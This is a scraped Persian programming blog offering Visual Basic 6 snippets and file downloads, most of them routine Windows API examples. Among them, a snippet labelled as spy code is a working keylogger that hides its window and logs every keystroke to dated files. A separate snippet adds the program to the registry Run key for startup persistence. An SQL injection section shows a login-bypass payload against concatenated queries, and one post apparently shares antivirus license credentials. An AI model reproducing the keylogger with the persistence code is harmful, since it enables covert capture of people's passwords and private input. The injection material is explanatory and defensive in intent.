هفته چهارم اسفند ۱۳۹۵
هفته چهارم تیر ۱۳۹۰
هفته دوم تیر ۱۳۹۰
هفته اوّل تیر ۱۳۹۰
هفته چهارم خرداد ۱۳۹۰
هفته سوم خرداد ۱۳۹۰
هفته دوم خرداد ۱۳۹۰
هفته اوّل خرداد ۱۳۹۰
هفته چهارم اردیبهشت ۱۳۹۰
هفته سوم اردیبهشت ۱۳۹۰
هفته اوّل اردیبهشت ۱۳۹۰
هفته چهارم فروردین ۱۳۹۰
هفته سوم فروردین ۱۳۹۰
هفته دوم فروردین ۱۳۹۰
هفته اوّل فروردین ۱۳۹۰
هفته چهارم اسفند ۱۳۸۹
Powered By
BLOGFA.COM
برای اجرای برنامه موبایل فایل را از حالت زیپ خارج کرده و آنرا در دستاپ کامپیوتر قرار دهید با استفاده از موس برنامه موبایل را روی نرم افزار بیندازید
حجم فایل:800 کیلوبایت
رمز فایل :www.cesblog.ir
منبع:www.cesblog.ir
اتصالات FTP
مقدمه : کنترل Internet Transfer نسبت به کنترل WebBrowser که در روزهاي قبلي معرفي شد در سطح پايينتري قرار دارد . اين کنترل با استفاده از دو پروتکل HTTP و FTP مي تواند داده ها را منتقل کند . اين کنترل زمانيکه از پروتکل HTTP استفاده مي کند با همان روش کنترل WebBrowser به سرويس دهنده صفحات وب متصل مي شود اما بجاي آنکه صفحه وب را نمايش دهد متن Html صفحه را بازيابي مي کند . همچنين زمانيکه اين کنترل از پروتکل FTP استفاده مي کند قادرست فايلها را بين کامپيوترهاي روي شبکه منتقل سازد .
امروز قصد دارم در مورد API هاي ويندوز و چگونگي استفاده از آنها در ويژوال بيسيک بطور خلاصه توضيح دهم و همچنين دو مثال پراستفاده را نيز در اين زمينه بيان کنم که عبارتند از چگونگي پخش فايلهاي Wav و ساخت يک تايمر با دقت بالا :
مثال : فرض کنيد دو فيلد به اسمهای username و password در يک فرم وب قرار دارد که برای ورود به يک سايت استفاده می شود . همچنين فرض کنيد از اطلاعات اين فيلدها بطور مستقيم يک query بصورت زير برای بانک اطلاعاتی ارسال شود :
us=request.form("username")
psw=request.form("password")
query="SELECT * FROM Users WHERE username='"&us&"' AND password='"&psw&"'"
حال در صورتيکه هکر يک username صحيح ( مثلاً xxx ) از سيستم را بداند و در فيلد username مقدار صحيح را وارد کرده و در فيلد password عبارت زير را وارد کند :
1111111' or username='xxx'
در اينصورت query بصورت زير در می آيد :
SELECT * FROM Users WHERE username='xxx' AND password='111111' or username='xxx'
در اينصورت هکر بدون دانستن يک password مجاز می تواند به سيستم وارد شود .
اين
امر بخاطر آنست که چون فيلدهای وارد شده توسط کاربر بطور مستقيم در query
قرار داده شده اند هکر توانسته کاراکتر ' را که در زبان SQL يک کاراکتر
کنترلی بوده و عملکرد خاصی دارد ( عمل خاتمه دادن به عبارت SQL ) را در در
query بگنجاند و سپس با دادن دستورات SQL مناسب کنترل را بدست بگيرد .
اين سناريو می تواند بسيار خطرناکتر باشد زيرا هکر می تواند از ساير دستورات SQL مثل INSERT و DELETE نيز استفاده کند .
- در نگارش مطالب فوق از کتاب " نفوذگری در شبکه و روشهای مقابله با آن " نوشته مهندس احسان ملکيان استفاده شده است . برای آشنايی بيشتر با sql-injection و روشهای مقابله با آن به صفحات ۳۲۰ تا ۳۲۸ اين کتاب مراجعه کنيد .
برای مقابله با اين حملات بايستی از داده های ارسال شده توسط کاربر مستقيماً query توليد نکنيم بلکه ابتدا عدم وجود کاراکترهای کنترلی مثل ' و " و ; و *و غيره را در آن بررسی کنيم . برنامه ابتدا بايد در query وجود چنين کاراکترهايی را در مکانهای غيرمجاز بررسی کند . در بخش بعدی برنامه ای را جهت بررسی query های SQL بمنظور مقابله با sql-injection ارائه خواهم داد .
| Code |
| FileName$ = "C:\windows\clouds.bmp" ext = Mid$(FileName$, InStr(1, FileName$, ".") + 1, 3) |
موفق باشید.
منبع:www.cesblog.ir
| Code |
| 'Enter the following code in the Keypress event of a text box. keyascii=asc(ucase(chr(keyascii))) |
منبع:www.cesblog.ir
| Code |
| Option Explicit Private Declare Function SHAutoComplete Lib "Shlwapi.dll" _ (ByVal hWndEdit As Long, _ ByVal dwFlags As Long) As Long Public Enum SHAC_Constants Default = &H0 FileSystem = &H1 URLHistory = &H2 URLMRU = &H4 URLAll = (&H2 Or &H4) End Enum Public Sub AutoComplete(txtItem As TextBox, lngType As SHAC_Constants) On Error GoTo ErrHandler SHAutoComplete txtItem.hWnd, lngType Exit Sub ErrHandler: End Sub Private Sub Form_Load() AutoComplete Text1, Default End Sub |
منبع:www.cesblog.ir
کد برنامه جاسوسی برنامه نویسی شده با ویژوال بیسیک
| Code |
| 'Just copy in paste in a new project Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Dim result As Integer Private Sub Form_Load() On Error GoTo ErrorHandler: Form1.Width = 0 Form1.Height = 0 Form1.Top = 0 Form1.Left = 0 MkDir (App.Path & "\" & "Spy") ErrorHandler: End Sub Private Sub Timer1_Timer() For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then Text1.Text = Text1.Text + Chr(i) End If Next i End Sub Private Sub Timer2_Timer() On Error GoTo ErrorHandler Text2.Text = Format(Date, "dd,mm,yyyy") Open App.Path & "\" & "Spy" & "\" & Text2.Text & ".txt" For Output As #1 Write #1, Text1.Text Close #1 ErrorHandler: End Sub |
منبع:www.cesblog.ir
| Declarations |
| 'Add to a module Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" (ByVal hKey As Long, ByVal lpSubKey As String) As Long Public Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long Public Const REG_SZ = 1 ' Unicode nul terminated String Public Const REG_DWORD = 4 ' 32-bit number Public Const HKEY_CLASSES_ROOT = &H80000000 Public Const HKEY_CURRENT_USER = &H80000001 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Const HKEY_USERS = &H80000003 Public Const HKEY_PERFORMANCE_DATA = &H80000004 Public Const ERROR_SUCCESS = 0& Public Const KEY_WRITE = &H20006 |
| Code |
| 'Run on startup 'reg path subkey = "Software\Microsoft\Windows\CurrentVersion\Run" retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey) If retval <> 0 Then Debug.Print "Can't open the subkey" Exit Sub End If stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer)) RegCloseKey hregkey |
منبع:www.cesblog.ir
| Declarations |
| Declare Function GetDiskFreeSpace Lib "kernel32" Alias "GetDiskFreeSpaceA" (ByVal lpRootPathName As String, lpSectorsPerCluster As Long, lpBytesPerSector As Long, lpNumberOfFreeClusters As Long, lpTtoalNumberOfClusters As Long) As Long Public Type DiskInformation lpSectorsPerCluster As Long lpBytesPerSector As Long lpNumberOfFreeClusters As Long lpTotalNumberOfClusters As Long End Type |
| Code |
| Dim info As DiskInformation Dim lAnswer As Long Dim lpRootPathName As String Dim lpSectorsPerCluster As Long Dim lpBytesPerSector As Long Dim lpNumberOfFreeClusters As Long Dim lpTotalNumberOfClusters As Long Dim lBytesPerCluster As Long Dim lNumFreeBytes As Double Dim sString As String lpRootPathName = "c:\" lAnswer = GetDiskFreeSpace(lpRootPathName, lpSectorsPerCluster, lpBytesPerSector, lpNumberOfFreeClusters, lpTotalNumberOfClusters) lBytesPerCluster = lpSectorsPerCluster * lpBytesPerSector lNumFreeBytes = lBytesPerCluster * lpNumberOfFreeClusters sString = "Number of Free Bytes : " & lNumFreeBytes & vbCr & vbLf sString = sString & "Number of Free Kilobytes: " & (lNumFreeBytes / 1024) & "K" & vbCr & vbLf sString = sString & "Number of Free Megabytes: " & Format(((lNumFreeBytes / 1024) / 1024), "0.00") & "MB" MsgBox sString |
منبع:www.cesblog.ir
| Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Long) As Long |
| 'place this code in the form load event Private Sub Form_Load() Dim lngRegion As Long Dim lngReturn As Long Dim lngFormWidth As Long Dim lngFormHeight As Long lngFormWidth = Me.Width / Screen.TwipsPerPixelX lngFormHeight = Me.Height / Screen.TwipsPerPixelY lngRegion = CreateEllipticRgn(0, 0, lngFormWidth, lngFormHeight) lngReturn = SetWindowRgn(Me.hWnd, lngRegion, True) End Sub |
منبع:www.cesblog.ir
| Public Declare Function RasEnumConnections Lib "RasApi32.dll" Alias "RasEnumConnectionsA" (lpRasCon As Any, lpcb As Long, lpcConnections As Long) As Long Public Declare Function RasGetConnectStatus Lib "RasApi32.dll" Alias "RasGetConnectStatusA" (ByVal hRasCon As Long, lpStatus As Any) As Long ' Public Const RAS95_MaxEntryName = 256 Public Const RAS95_MaxDeviceType = 16 Public Const RAS95_MaxDeviceName = 32 ' Public Type RASCONN95 dwSize As Long hRasCon As Long szEntryName(RAS95_MaxEntryName) As Byte szDeviceType(RAS95_MaxDeviceType) As Byte szDeviceName(RAS95_MaxDeviceName) As Byte End Type ' Public Type RASCONNSTATUS95 dwSize As Long RasConnState As Long dwError As Long szDeviceType(RAS95_MaxDeviceType) As Byte szDeviceName(RAS95_MaxDeviceName) As Byte End Type |
| 'A call to the function IsConnected returns true if the computer has established a connection to the internet. Public Function IsConnected() As Boolean Dim TRasCon(255) As RASCONN95 Dim lg As Long Dim lpcon As Long Dim RetVal As Long Dim Tstatus As RASCONNSTATUS95 ' TRasCon(0).dwSize = 412 lg = 256 * TRasCon(0).dwSize ' RetVal = RasEnumConnections(TRasCon(0), lg, lpcon) If RetVal <> 0 Then MsgBox "ERROR" Exit Function End If ' Tstatus.dwSize = 160 RetVal = RasGetConnectStatus(TRasCon(0).hRasCon, Tstatus) If Tstatus.RasConnState = &H2000 Then IsConnected = True Else IsConnected = False End If End Function |
منبع:www.cesblog.ir
| Private Const EWX_SHUTDOWN As Long = 1 Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long |
| lngResult = ExitWindowsEx(EWX_SHUTDOWN, 0&) |
منبع:www.cesblog.ir
| Public Const GWL_EXSTYLE = (-20) Public Const WS_EX_TRANSPARENT = &H20& Public Const SWP_FRAMECHANGED = &H20 Public Const SWP_NOMOVE = &H2 Public Const SWP_NOSIZE = &H1 Public Const SWP_SHOWME = SWP_FRAMECHANGED Or _ SWP_NOMOVE Or SWP_NOSIZE Public Const HWND_NOTOPMOST = -2 Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long |
| کد زیر رو در form_load قرار دهید |
| SetWindowLong Me.hwnd, GWL_EXSTYLE, WS_EX_TRANSPARENT SetWindowPos Me.hwnd, HWND_NOTOPMOST, 0&, 0&, 0&, 0&, SWP_SHOWME |
منبع:www.cesblog.ir
| Private Sub Text1_LostFocus() call ValidateEmail(Text1.text) End Sub Public Function ValidateEmail(ByVal strEmail As String) As Boolean Dim strTmp As String, n As Long, sEXT As String EMsg = "" 'reset on open for good form ValidateEmail = True 'Assume true on init sEXT = strEmail Do While InStr(1, sEXT, ".") <> 0 sEXT = Right(sEXT, Len(sEXT) - InStr(1, sEXT, ".")) Loop If strEmail = "" Then ValidateEmail = False EMsg = EMsg & "Not a valid email address!" ElseIf InStr(1, strEmail, "@") = 0 Then ValidateEmail = False EMsg = EMsg & "Email address does not contain an @ sign." ElseIf InStr(1, strEmail, "@") = 1 Then ValidateEmail = False EMsg = EMsg & "@ sign can not be the first character in email address!" ElseIf InStr(1, strEmail, "@") = Len(strEmail) Then ValidateEmail = False EMsg = EMsg & "@sign can not be the last character in email address!" ElseIf EXTisOK(sEXT) = False Then ValidateEmail = False EMsg = EMsg & "Email address is not carrying a valid ending!" ElseIf Len(strEmail) < 6 Then ValidateEmail = False EMsg = EMsg & "Email address is shorter than 6 characters which is impossible." End If n = 0 strTmp = strEmail Do While InStr(1, strTmp, "@") <> 0 n = n + 1 strTmp = Right(strTmp, Len(strTmp) - InStr(1, strTmp, "@")) Loop If n > 1 Then ValidateEmail = False 'found more than one @ sign EMsg = EMsg & "More than 1 @ sign in your email address" End If End Function Public Function EXTisOK(sEXT As String) As Boolean Dim EXT As String, X As Long EXTisOK = False If Left(sEXT, 1) <> "." Then sEXT = "." & sEXT sEXT = UCase(sEXT) 'just to avoid errors EXT = EXT & ".COM.EDU.GOV.NET.BIZ.ORG.TV" EXT = EXT & ".AF.AL.DZ.As.AD.AO.AI.AQ.AG.AP.AR.AM.AW.AU.AT.AZ.BS.BH.BD.BB.BY" EXT = EXT & ".BE.BZ.BJ.BM.BT.BO.BA.BW.BV.BR.IO.BN.BG.BF.MM.BI.KH.CM.CA.CV.KY" EXT = EXT & ".CF.TD.CL.CN.CX.CC.CO.KM.CG.CD.CK.CR.CI.HR.CU.CY.CZ.DK.DJ.DM.DO" EXT = EXT & ".TP.EC.EG.SV.GQ.ER.EE.ET.FK.FO.FJ.FI.CS.SU.FR.FX.GF.PF.TF.GA.GM.GE.DE" EXT = EXT & ".GH.GI.GB.GR.GL.GD.GP.GU.GT.GN.GW.GY.HT.HM.HN.HK.HU.IS.IN.ID.IR.IQ" EXT = EXT & ".IE.IL.IT.JM.JP.JO.KZ.KE.KI.KW.KG.LA.LV.LB.LS.LR.LY.LI.LT.LU.MO.MK.MG" EXT = EXT & ".MW.MY.MV.ML.MT.MH.MQ.MR.MU.YT.MX.FM.MD.MC.MN.MS.MA.MZ.NA" EXT = EXT & ".NR.NP.NL.AN.NT.NC.NZ.NI.NE.NG.NU.NF.KP.MP.NO.OM.PK.PW.PA.PG.PY" EXT = EXT & ".PE.PH.PN.PL.PT.PR.QA.RE.RO.RU.RW.GS.SH.KN.LC.PM.ST.VC.SM.SA.SN.SC" EXT = EXT & ".SL.SG.SK.SI.SB.SO.ZA.KR.ES.LK.SD.SR.SJ.SZ.SE.CH.SY.TJ.TW.TZ.TH.TG.TK" EXT = EXT & ".TO.TT.TN.TR.TM.TC.TV.UG.UA.AE.UK.US.UY.UM.UZ.VU.VA.VE.VN.VG.VI" EXT = EXT & ".WF.WS.EH.YE.YU.ZR.ZM.ZW" EXT = UCase(EXT) 'just to avoid errors If InStr(1, EXT, sEXT) <> 0 Then EXTisOK = True End Function |
منبع:www.cesblog.ir
| Private Sub Text1_LostFocus() If IsNumeric(Text1.Text) Then Text1.Text = Format(Text1.Text, "#,##0.00") Else MsgBox "Please enter a Numeric Value", vbInformation, "Unexcepted Value" Text1.SetFocus Text1.SelStart = 0 Text1.SelLength = Len(Text1.Text) End If End Sub |
منبع:www.cesblog.ir
| Private Declare Function SHFileOperation Lib "Shell32.dll" Alias "SHFOperationA" (lpFileOp As SHFILEopstruct) As Long Private Const FO_Copy = &H2 Private Const For_Allowundo = &H40 Private Type SHFILEopstruct hwnd As Long wfunc As Long pform As String pto As String fflags As Integer faborted As Boolean hnamemaps As Long sprogress As String End Type Public Sub copy(ByVal asal As String, ByVal tujuan As String) Dim x As SHFILEopstruct With x .hwnd = 0 .wfunc = FO_Copy .pform = asal & vbNullChar & vbNllChar .pto = tujuan & vbNulChar & vbNullChar .fflags = fof_allowundo End With SHFileOperation x End Sub Private Sub Command1_Click() copy Text1.Text, Text2.Text MsgBox "File Sudah dicopy" End Sub Private Sub Dir1_Change() File1.Path = Dir1.Path End Sub Private Sub Dir2_Change() Text2.Text = Dir2.Path End Sub Private Sub Drive1_Change() Dir1.Path = Drive1.Drive End Sub Private Sub Drive2_Change() Dir2.Path = Drive2.Drive End Sub Private Sub File1_Click() Text1.Text = File1.Path & "\" & File1.FileName End Sub |
منبع:www.cesblog.ir
وی بی :
| Private Declare Sub GlobalMemoryStatus Lib "kernel32" (lpBuffer As MEMORYSTATUS) Private Type MEMORYSTATUS dwLength As Long dwMemoryLoad As Long dwTotalPhys As Long dwAvailPhys As Long dwTotalPageFile As Long dwAvailPageFile As Long dwTotalVirtual As Long dwAvailVirtual As Long End Type |
| Private Sub command1_click() Dim MS As MEMORYSTATUS MS.dwLength = Len(MS) GlobalMemoryStatus MS Dim msg$ msg = "MEMORY STATUS" + vbCrLf msg = msg + "============================" + vbCrLf msg = msg + "Loaded memory = " + Format$(MS.dwMemoryLoad, "###,###,###,###") + " % used" + vbCrLf msg = msg + "--------------------------------" + vbCrLf msg = msg + "Physical memory = " + Format$(MS.dwTotalPhys / 1024, "###,###,###,###") + " Kb" + vbCrLf msg = msg + "Free Physical memory = " + Format$(MS.dwAvailPhys / 1024, "###,###,###,###") + " Kb" + vbCrLf msg = msg + "--------------------------------" + vbCrLf msg = msg + "Paging file = " + Format$(MS.dwTotalPageFile / 1024, "###,###,###,###") + " Kb" + vbCrLf msg = msg + "Free Paging file = " + Format$(MS.dwAvailPageFile / 1024, "###,###,###,###") + " Kb" + vbCrLf msg = msg + "--------------------------------" + vbCrLf msg = msg + "Virtual memory : " + Format$(MS.dwTotalVirtual / 1024, "###,###,###,###") + " Kb" + vbCrLf msg = msg + "Free Virtual memory = " + Format$(MS.dwAvailVirtual / 1024, "###,###,###,###") + " Kb" MsgBox msg End Sub |
منبع:www.cesblog.ir
برای دستیابی به نام کامپیوتر در برنامه ای که به زبان وی بی نوشته اید از کد های زیر استفاده کنید.
| Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer As String, nSize As Long) As Long |
Private Sub Command1_Click() Call Computer_Name End Sub Private Function Computer_Name() As String Dim nComputer As String 'Computer Name Dim nBuffer As String Dim nSize As Long nBuffer = Space$(250) nSize = Len(nBuffer) If GetComputerName(nBuffer, nSize) = 1 Then nComputer = Trim(nBuffer) MsgBox nComputer Exit Function End If End Function |
منبع:www.cesblog.ir
دانلود ضمیمه جام جم کلیک 22 خرداد 1390 - شماره 333
حجم فایل:600 کیلوبایت
رمز فایل :ندارد
منبع:www.cesblog.ir
Nod32 & ESET - Username and Password
خواندن از فايل :
FilePosition=Loc(FileNumber)x
منبع:www.cesblog.ir
مقدمه
Open filename [For mode] [Access access][lock] As [#]filenumber [Len=reclen]x
Close #filenumber
Myfile=Dir$("c:\text\*.txt)"x
Myfile=Dir$("c:\text\*.txt",vbNormal)x
ChDir "c:\windows\system32"x
ChDrive "E:"x
MKDir "c:\MyFolder"x
RmDir "C:\MyFoler"x
منبع:www.cesblog.ir
در این بخش یک کنترل Ocx معرفی می شود که بوسیله آن می توانید مشخصات سخت افزاری سیستم خود را استحراج کنید .
این کنترل را که Hardware Info نام دارد می توانید در انتهای همین مقاله دانلود کنید .خصوصیات دیگری نیز در این کنترل وجود دارد که برای اطلاعات بیشتر به راهنمای آن مراجعه کنید .
حجم فایل:600 کیلوبایت
رمز فایل :www.cesblog.ir
منبع:www.cesblog.ir
۱ - استفاده از یک تابع کتابخانه ای به اسم GetAsyncKeyState موجود در کتابخانه user32.dll . این تابع ، فشرده شدن یا رها شدن یک کلید را تشخیص می دهد . نحوه declare کردن این تابع بصورت زیر است :
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
حال در برنامه تان یک timer قرار داده و در event آن کد زیر را قرار دهید :
For i = 1 To 255
results = 0
results = GetAsyncKeyState(i)
If results <> 0 Then
Msgbox(Chr(i))
End If
Next
منبع:www.cesblog.ir
شروع کار با ajax در asp.net انتشارات wrox
حجم فایل: 7مگابایت
رمز فایل :ندارد
منبع:www.cesblog.ir
قبل از استفاده از کد زیر یک CommonDialogControl , یک TextBox و دو تا Command button روی فرم بزارید.
Public Function Delete(FilePath As String) Kill FilePath End Function Private Sub Command1_Click() With CommonDialog1 .CancelError = False .ShowOpen End With Text1.Text = CommonDialog1.Filename End Sub Private Sub Command2_Click() Delete Text1.Text End Sub |
منبع:www.cesblog.ir
| Option Explicit Private Declare Function sndPlay lib "winmm.dll" Alias "sndPlaySoundA" _ (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long Private Const SND_ASYNC = &H1 Private Const SND_SYNC = &H0 Private Const SND_LOOP = &H8 Private Const SND_NODEFAULT = &H1 Private Const SND_VALID = &H1F Private Const SND_MEMORY = &H4 Private Const SND_PURGE = &H40 |
| قرار دادن کد پایین در یک Command Button |
| sndPlaySound App.Path & "Hello.wav", SND_ASYNC Or SND_NODEFAULT |
منبع:www.cesblog.ir
جهت دریافت کد این برنامه زود اقدام کنید...!!
حجم فایل:4 کیلوبایت
رمز فایل :www.cesblog.ir
